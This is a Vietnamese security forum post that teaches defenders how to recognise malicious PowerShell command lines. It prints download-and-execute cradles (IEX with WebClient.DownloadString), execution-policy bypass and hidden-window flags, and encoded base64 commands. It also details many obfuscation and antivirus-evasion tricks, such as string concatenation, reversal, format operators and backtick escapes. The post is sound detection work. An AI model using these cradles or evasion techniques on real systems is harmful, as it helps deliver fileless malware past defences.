Những dấu hiệu nhận biết về các dòng lệnh PowerShell độc hại

Thảo luận trong 'Virus/Malware' bắt đầu bởi vpn, 12/01/21, 06:01 PM.

  1. vpn

    vpn Moderator Thành viên BQT

    Tham gia: 10/09/19, 08:09 AM
    Bài viết: 48
    Đã được thích: 19
    Điểm thành tích:
    8
    1_m3EmlYHA78mJVSl0DDRSsw.png
    Các cuộc tấn công sử dụng PowerShell hiện là "vũ khí" thay thế phổ biến cho một số cuộc tấn công mạng do nó cung cấp nhiều kỹ thuật để có thể vượt qua bảo mật hiện có. Hơn hết, tính linh hoạt khi chạy trực tiếp trong bộ nhớ và tải payload từ xa đã mang lại rất nhiều lợi ích cho kẻ tấn công.

    Chúng ta hãy tìm hiểu một chút về dòng lệnh độc hại Powershell.


    Download (Tải xuống)

    Mã:
    powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://whitehat.vn/threads/phan-tich-virus-fileless-phan-1.14324/')
    Lệnh Powershell được sử dụng để tải xuống “thứ gì đó” có thể được coi là một cuộc tấn công có khả năng gây hại cao. Lệnh trên chỉ ra rằng lệnh được chạy để tải xuống các chuỗi (payload) tại URL: Một phần mềm vô hại sẽ rất hiếm khi hoặc không bao giờ làm như vậy để tải xuống tệp của nó bằng lệnh powershell.

    Lower and upper case letters (Chữ thường và chữ hoa)
    Mã:
    Powershell -ExecUTIONPoLICy BypASs -wiNDoWSTYLe hidDeN(NEW-objecT.SYstEM.NET.wEbCLIeNt).DOWnLoADFiLE(<removed>);
    Mẫu quyền hạn này sử dụng các chữ cái viết thường và viết hoa xen kẽ để thực hiện lệnh của chúng. Đó là một lệnh độc hại có khả năng cao khi nó đi kèm với mẫu này.

    Using short flags (Sử dụng cờ)
    Mã:
    Powershell -nop -w hidden -e <encoded text>
    
    Powershell -nop -w hidden -e <ps1 file>
    Đôi khi, mẫu lệnh này được phần mềm vô hại sử dụng để thực hiện công việc của nó. Nếu lệnh bao gồm một văn bản được mã hóa dài, bạn có thể chắc chắn 100% rằng lệnh đó là độc hại. Phần mềm vô hại sẽ không bao giờ sử dụng văn bản được mã hóa để thực hiện công việc của nó.

    Về phần extension .ps1, việc nhận biết vị trí của tệp ps1 và tên của nó có thể giúp chúng ta xác định đó là tệp độc hại hay không. Nếu bạn có thể lấy mã băm .ps1, hãy thả nó vào Google/Virustotal/Sandbox để điều tra thêm.

    Một số flag phổ biến:

    Parametersshort parameters
    -Command-c
    -EncodedArguments-ea, -encodeda
    -EncodedCommand-e, -ec, -enc
    -ExecutionPolicy-ex, -ep
    -File-f
    -Help-h, -? or /h, /?
    -InputFormat-i, -if
    -NoExit-noe
    -NoLogo-nol
    -NoProfile-nop
    -NonInteractive-noni
    -OutputFormat-o, -of
    -Sta-s
    -WindowStyle-w
    Để biết thêm thông tin về các tham số, hãy tham khảo tài liệu Microsoft Docs
    2020-08-03-14-03-40.png

    Sử dụng các lệnh được mã hóa
    Mã:
    Powershell -EncodedCommand SQBmACgAJABQAFMAVgB
    Powershell -e SQBmACgAJABQAFMAVgB
    Powershell -enc SQBmACgAJABQAFMAVgB
    Tham số -encodedcommand là phiên bản đầy đủ của tham số -e. Cả hai đều thực hiện một công việc giống nhau trong đó chức năng của tham số này là thực thi lệnh được mã hóa.

    Gọi biểu thức
    Mã:
    Powershell -Invoke-Expression (("New-Object Net.WebClient")).(’Downloadfile.ps1’)
    Invoke-Expression hoặc IEX cmdlet đánh giá hoặc chạy một chuỗi được chỉ định dưới dạng một lệnh. Vì vậy, bất kỳ thứ gì sau Invoke-Expression sẽ được coi là thực thi lệnh.

    Sử dụng ”[char]” thay vì một ký tự
    Mã:
    Powershell ... $cs = [char]71; $fn = $env:temp+$cs; ...
    Mã độc thường sử dụng “[char]” để thay thế bằng ký tự nhằm trốn tránh hoặc qua mặt AV. Ngoài ra, loại mẫu lệnh này thường được sử dụng để làm chậm tiến độ điều tra của nhà phân tích mã độc.

    Đọc dữ liệu Base64
    Mã:
    IEX $s=New-Object IO.MemoryStream([Convert]::FromBase64String(’<removed>’));
    Mã hóa Base64 thường được sử dụng trong payload của mã độc.


    Sử dụng mã hóa UTF8

    Mã:
    $f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(<removed>’));
    
    
    Sử dụng tên ngẫu nhiên cho một biến trong mỗi lần chạy
    Mã:
    powershell iex $env:vruuyg
    
    Ví dụ về cách sử dụng:
    2020-08-03-14-11-32.png
    Nếu chúng ta nhìn vào envinronment của thuộc tính, chúng ta có thể thấy rằng biến pajsj có giá trị thực thi lệnh.
    2020-08-03-14-12-38.png
    Chúng ta cần xem xét các đối số dòng lệnh này, chẳng hạn như:
    Mã:
    ExecutionPolicy Bypass,
    -Exec Bypass,
    -ep bypass,
    -EncodedCommand,
    -enc
    -NonInteractive,
    -NonI,
    -NoLogo,
    -NoProfile,
    -NoP,
    -WindowStyle Hidden,
    -w Hidden

    Ví dụ về Obfuscated:
    2020-08-03-13-52-18.png
    3 lớp obfuscation:

    2020-08-03-13-53-26.png

    Snapshot đoạn mã của mã độc macro sử dụng “^” để làm obfuscation shell

    2020-08-03-13-55-57.png

    Một obfuscation phức tạp khác:

    2020-08-03-14-14-31.png

    Ghi chú về Obfuscation (sự xáo trộn)

    • URL chỉ là một chuỗi, vì vậy có thể được nối và viết theo những cách khác như “h” + “ttp”. Các kỹ thuật obfuscation chuỗi bổ sung được đề cập bên dưới.
    • System là tùy chọn trong tên loại PowerShell, vì vậy System.Net.WebClient có thể được viết là Net.WebClient
    • PowerShell có thể sử dụng dấu ngoặc kép đơn hoặc dấu ngoặc kép trong chuỗi. Khoảng trắng có thể được thêm vào hầu hết mọi nơi, vì vậy DownloadString(‘ có thể dễ dàng viết như DownloadString( “
    • Lớp WebClient có thể offer nhiều phương thức nội dung tải về ngoài DownloadString, chẳng hạn như DownloadFile, DownloadData, và OpenReadAsync
    • Tên phương thức chẳng hạn như DownloadString có thể được bao gồm trong dấu ngoặc kép và bao gồm các ký tự thoát để tạo cú pháp như
      Mã:
       System.Net.WebClient).”`D`o`wn`l`oa`d`Str`in`g”
      
    Bởi vì nó có thể được coi là một chuỗi, các kỹ thuật obfuscated dựa trên chuỗi như nối và sắp xếp lại thứ tự cũng có thể được sử dụng trên tên phương thức.
    • Tương tự như tên phương thức, Net.WebClient đối số tới New-Object có thể được làm xáo trộn với các ký tự escape , kỹ thuật làm xáo trộn dựa trên chuỗi và nối giữa nhiều biến. Điều đó có thể tạo ra một kết quả như:
      Mã:
      $var1="`N`et.";
      $var2="`W`eb`C`l`ient";
      (New-Object $var1$var2) 
    • Tên lệnh PowerShell thường có bí danh. Ví dụ, Invoke-Expression cũng có thể được gọi là iex.
    • Ngay cả khi các lệnh không có bí danh, Get-Command lệnh cho phép tác giả tập lệnh truy vấn danh sách lệnh PowerShell và gọi kết quả. Truy vấn này có thể bao gồm các kí hiệu, vì vậy cách gọi New-Object có thể trông như thế này: &(Get-Command *w-O*). Toán tử ( & ) trong ví dụ này có một thay thế, đó là toán tử dot ( . ). Các lệnh Get-Command lại có một bí danh và có thể được tự động gọi tương tự, như vậy là không an toàn để chìa khóa trên.
    • Ngoài Get-Command cơ chế truy vấn tên lệnh, PowerShell còn cung cấp một số phương thức kiểu API để truy vấn tên lệnh - chẳng hạn như $executionContext.InvokeCommand.GetCommand().
    • Các toán tử lệnh gọi (& và .) hỗ trợ các đối số chuỗi. Chúng có thể dễ dàng bị che khuất bằng cách sử dụng các kỹ thuật làm xáo trộn như nối chuỗi và sắp xếp lại chuỗi.
    • Phát hiện của Invoke-Expression phải đối mặt với những thách thức tương tự của sự xáo trộn lệnh New-Object và Get-Command phải chịu đựng. Nó cũng phổ biến trong các bối cảnh không độc hại, khiến việc xác định sai dựa trên chỉ báo này là một thách thức đáng kể.
    • Invoke-Expression không phải là lệnh ghép ngắn hoặc kỹ thuật duy nhất có thể được sử dụng để gọi mã được tạo động. Các lựa chọn thay thế khác là Invoke-Command, lệnh gọi Khối tập lệnh (chẳng hạn như & [Scriptblock]::Create("Write-Host Script Block Conversion")) và các API gọi tập lệnh động chẳng hạn như $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION").
    Sự xáo trộn chuỗi
    Bất kỳ thứ gì cho phép một chuỗi làm đối số đều có thể được làm xáo trộn bằng cách sử dụng kỹ thuật làm xáo trộn chuỗi.
    • Nối chuỗi là một cách phổ biến để chia nhỏ các chuỗi có thể nhận dạng. Nếu chữ ký được viết cho thuật ngữ, “http” thì nó cũng có thể được viết dưới dạng “h” + “ttp”. Dạng nối phổ biến nhất là ‘+’ toán tử, nhưng –join cũng có thể sử dụng toán tử PowerShell. Ngoài các kỹ thuật PowerShell, các phương thức String.Join() và String.Concat() phương thức từ .NET có thể đạt được các mục tiêu tương tự.
    • –f Toán tử định dạng chuỗi của PowerShell, dựa trên String.Format phương thức C# , có thể tạo chuỗi trong thời gian chạy. Các định dạng định dạng sử dụng nhà điều hành mã thông báo như {0} {1} để xác định thứ tự của chuỗi thay thế, vì vậy Obfuscating invocation của New-Object thể trông như thế này với toán tử định dạng obfuscation áp dụng:
      Mã:
      & ("{1}{0}{2}" -f 'wOb','Ne','ject')
      .
    • Các chuỗi có thể được đảo ngược thông qua một số cơ chế, chẳng hạn như toán tử cắt mảng của PowerShell (-join "detacsufbO"[9..0]), Array.Reverse ( $a = [char[]]"detacsufbO"; [Array]::Reverse($a); -join $a), đối sánh biểu thức chính quy đảo ngược ( -join [RegEx]::Matches("detacsufbO",'.','RightToLeft')) và các cơ chế khác.
    • Các chuỗi có thể được tách bằng một dấu phân cách tùy ý, và sau đó được nối lại: -join ("Obf~~usc~~ated" -split "~~")
    • Thông qua –replace operator hoặc String.Replace() method, các chuỗi có thể được thay thế để loại bỏ các dấu phân cách hoặc thay đổi ý nghĩa của một chuỗi: "System.SafeClass" -replace "Safe","Unsafe"
    Tài liệu tham khảo:
    1. https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And Evasion-Using-Science-wp.pdf
    2. Research Paper “Detecting Malicious PowerShell Commands using Deep Neural Networks” by Danny Hendler, Shay Kels and Amir Rubin.
    3. https://www.trendmicro.com/vinfo/pl...ise-of-fileless-threats-that-abuse-powershell
    4. https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
    5. https://fareedfauzi.github.io/blog-post/Powershell-Attack-Note-Analysis/
     
    Chỉnh sửa cuối: 27/01/21, 01:01 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan